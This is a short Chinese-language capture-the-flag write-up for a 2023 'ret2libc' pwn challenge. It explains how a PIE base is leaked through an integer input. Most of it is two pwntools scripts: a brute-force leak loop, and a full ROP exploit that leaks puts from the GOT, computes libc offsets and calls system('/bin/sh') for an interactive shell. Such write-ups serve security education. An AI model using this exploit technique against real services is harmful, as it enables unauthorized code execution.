from cbctf starter 2023
文件分析 下载ret2libc
, NX on, PIE on, RELRO full ghidra分析为64位程序
解题思路 main函数中先是scan了一个int,可以利用它来泄露main的地址 以找到PIE偏移 然后一个read提供栈溢出 的空间 和ciscn那题一样,就能完成ret2libc
EXPLOIT 通过爆破获取main的偏移,如果打印出来的地址以0000结尾,则爆破成功
1 2 3 4 5 6 7 8 9 for offset in range (8 , 128 , 8 ): sh = remote(???, 10022 ) sh.sendline(str (offset).encode()) data = sh.recvline() data = sh.recvuntil(b'sh' ) pieBase = u64(data[-8 :-2 ] + b'\0\0' ) - main print (hex (pieBase)) sh.close()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *sh = remote('???' , 10022 ) elf = ELF('ret2libc' ) sh.sendline(b'56' ) sh.recvline() data = sh.recvuntil(b'sh' ) main = elf.symbols['main' ] pieBase = u64(data[-8 :-2 ] + b'\0\0' ) - main putsPlt = pieBase + elf.plt['puts' ] putsGot = pieBase + elf.got['puts' ] popRdiAddr = pieBase + 0x923 mainAddr = pieBase + main print (hex (pieBase))sh.sendline(b'0' *0x18 + p64(popRdiAddr) + p64(putsGot) + p64(putsPlt) + p64(mainAddr)) sh.recvuntil(b'shoot!\n' ) data = sh.recvline() libcBase = u64(data[:6 ] + b'\0\0' ) - 0x80970 systemAddr = libcBase + 0x4f420 shstrAddr = libcBase + 0x1b3d88 retAddr = pieBase + 0x8bb sh.sendline(b'0' ) sh.sendline(b'0' *0x18 + p64(popRdiAddr) + p64(shstrAddr) + p64(retAddr) + p64(systemAddr)) sh.interactive()
由于远端libc的不同,main在stack上的地址也是不一样的
Done.